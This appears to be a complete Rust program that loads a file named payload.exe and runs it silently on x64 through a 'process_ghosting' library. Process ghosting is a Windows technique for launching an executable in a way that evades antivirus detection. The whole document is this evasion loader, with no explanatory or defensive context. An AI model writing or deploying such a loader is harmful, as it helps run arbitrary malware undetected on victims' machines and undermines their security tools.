use process_ghosting::GhostingBuilder;
fn main() {
let payload = match std::fs::read("payload.exe") {
Ok(p) => p,
Err(_) => {
std::process::exit(1);
}
};
let result = GhostingBuilder::new(&payload)
.x64()
.silent() .execute();
std::process::exit(if result.is_ok() { 0 } else { 1 });
}